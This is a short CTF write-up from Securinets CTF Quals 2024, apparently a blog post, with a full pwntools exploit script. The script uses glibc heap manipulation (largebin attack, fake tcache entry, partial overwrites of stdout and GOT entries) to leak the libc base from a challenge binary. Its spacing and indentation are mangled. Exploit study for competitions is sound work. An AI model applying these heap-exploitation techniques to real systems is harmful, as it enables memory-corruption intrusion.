During our participation in the Securinets CTF Quals 2024 with r3kapig last weekend, we encountered a pwnable challenge. I developed an exploit with an initial success rate of just under 1/4096, but we struggled to exploit it remotely. After refining the exploit, I was able to increase the success rate to 1/256.
The exploit targets stdout and the GOT table. Below is a working script for leaking the libc address.
Once we obtain the libc address, the rest becomes straightforward since we already have a pointer to the GOT table.
from pwn import *
context.terminal = [ 'tmux' , 'splitw' , '-h' ]
tob = lambda x: str (x).encode()
sh = process( "./main" )
def add_rule (idx, size):
sh.sendline( b '1' )
sh.sendline(tob(idx))
sh.sendline(tob(size))
def edit_rule (idx, data):
sh.sendline( b '2' )
sh.sendline(tob(idx))
sh.send(data)
def delete_rule (idx):
sh.sendline( b '3' )
sh.sendline(tob(idx))
def copy_rule (idx1, idx2):
sh.sendline( b '5' )
sh.sendline(tob(idx1))
sh.sendline(tob(idx2))
def link_rule (idx1, idx2):
sh.sendline( b '6' )
sh.sendline(tob(idx1))
sh.sendline(tob(idx2))
def setup_in_data (idx, data):
sh.sendline( b '7' )
sh.sendline(tob(idx))
sh.send(data)
def setup_out_data (idx, data):
sh.sendline( b '8' )
sh.sendline(tob(idx))
sh.send(data)
def pause_shit_for_a_while (t = 0.1 ):
sleep(t)
sh.recvuntil( b 'Your ID: ' )
_id = int (sh.recvuntil( b ' \n ' , drop = True ))
log.success( "id: " + hex (_id))
add_rule( 0 , 0x 520 )
add_rule( 1 , 0x 550 )
add_rule( 2 , 0x 520 )
add_rule( 3 , 0x 520 )
add_rule( 4 , 0x 580 )
add_rule( 5 , 0x 510 )
add_rule( 6 , 0x 560 )
add_rule( 7 , 0x 600 )
add_rule( 8 , 0x 560 )
add_rule( 9 , 0x 520 )
delete_rule( 2 )
add_rule( 6 , 0x 800 )
delete_rule( 5 )
add_rule( 5 , 0x 510 )
setup_in_data( 5 , p16( 0x ffff & (( 0x 93c8 + (_id << 12 )) -0x 20 ))) # perform largebin attack, 1/16
pause_shit_for_a_while()
sh.send( b ' \xe0 ' )
pause_shit_for_a_while()
link_rule( 5 , 2 )
delete_rule( 5 )
delete_rule( 7 )
add_rule( 6 , 0x 800 )
delete_rule( 0 )
edit_rule( 0 , b 'a' *0x 58 + p64( 0x 551 ) + p64( 0 ) + p8( 0x f0 )) # point the fake tcache entry to the heap => overlap
pause_shit_for_a_while()
add_rule( 6 , 0x 520 )
pause_shit_for_a_while()
delete_rule( 4 )
pause_shit_for_a_while()
link_rule( 7 , 6 )
pause_shit_for_a_while()
edit_rule( 0 , b 'a' *0x 48 )
pause_shit_for_a_while()
setup_out_data( 6 , b 'a' * 8 + p16( 0x ffff & ( 0x a840 + (_id << 12 )))) # 1/16, some interesting things after stdout
pause_shit_for_a_while()
copy_rule( 0 , 6 )
pause_shit_for_a_while()
add_rule( 9 , 0x 580 )
edit_rule( 9 , b 'a' *0x 18 )
pause_shit_for_a_while()
for i in range ( 4 ):
setup_in_data( 3 , p64( 0 ) * 2 )
log.info( f "Round { i } " )
pause_shit_for_a_while()
delete_rule( 3 )
copy_rule( 9 , 6 )
pause_shit_for_a_while()
log.info( "allocate to __nptl_rtld_global" )
add_rule( 9 , 0x 520 )
pause_shit_for_a_while()
link_rule( 9 , 6 )
pause_shit_for_a_while()
setup_in_data( 4 , p64( 0 ) * 2 )
pause_shit_for_a_while()
delete_rule( 4 )
pause_shit_for_a_while()
copy_rule( 0 , 6 )
pause_shit_for_a_while()
log.info( "allocate to ld.so" )
add_rule( 9 , 0x 580 )
pause_shit_for_a_while()
link_rule( 9 , 6 )
pause_shit_for_a_while()
log.info( "partially overwrite to get rules[]" )
edit_rule( 0 , b 'a' *0x 48 + p16( 0x 8140 )) # 1/16 rules[]
pause_shit_for_a_while()
setup_in_data( 4 , p64( 0 ) * 2 )
pause_shit_for_a_while()
delete_rule( 4 )
pause_shit_for_a_while()
copy_rule( 0 , 6 )
pause_shit_for_a_while()
log.info( "allocate to rules[]" )
add_rule( 9 , 0x 580 )
pause_shit_for_a_while()
log.info( "partially overwrite to stdout" )
link_rule( 7 , 6 )
pause_shit_for_a_while()
setup_out_data( 6 , p64( 0x 1122334455667788 ) + p16(( 0x a780 + (_id << 12 )) &0x ffff )) # stdout, if we hit
pause_shit_for_a_while() # the ld address previously
# this will also hit stdout
setup_in_data( 4 , p64( 0 ) * 2 )
pause_shit_for_a_while()
delete_rule( 4 )
pause_shit_for_a_while()
copy_rule( 0 , 6 )
add_rule( 2 , 0x 580 )
pause_shit_for_a_while()
edit_rule( 2 , p16(( 0x a780 + (_id << 12 )) &0x ffff )) #b'\x80\xa7')
pause_shit_for_a_while()
sh.sendline( b '8' )
sh.sendline(tob( 9 ))
sh.send(p16( 0x 8058 )) # exit@got, actually if we hit the rules[]
pause_shit_for_a_while( t = 1 ) # this will also hit got entry of exit
sh.send(p16( 0x 5863 ))
pause_shit_for_a_while()
sh.sendline( b '7' )
pause_shit_for_a_while()
sh.sendline(tob( 9 ))
pause_shit_for_a_while()
sh.send(p16( 0x 5953 )) # main, 1/16
pause_shit_for_a_while( t = 1 )
sh.send(p64( 0 ))
pause_shit_for_a_while()
setup_in_data( 2 , p64( 0x fbad1803 ) + p64( 0 ))
pause_shit_for_a_while()
setup_out_data( 2 , p64( 0x ffffffffffffff ) * 2 )
context.log_level = 'debug'
sh.sendline( b '9' )
libcbase = 0
for i in range ( 6 ):
libcbase = u64(sh.recv( 8 ))
log.success( hex (libcbase))
libcbase -= 0x 21a803
log.success( "libcbase: " + hex (libcbase))
gdb.attach(sh)
sh.interactive()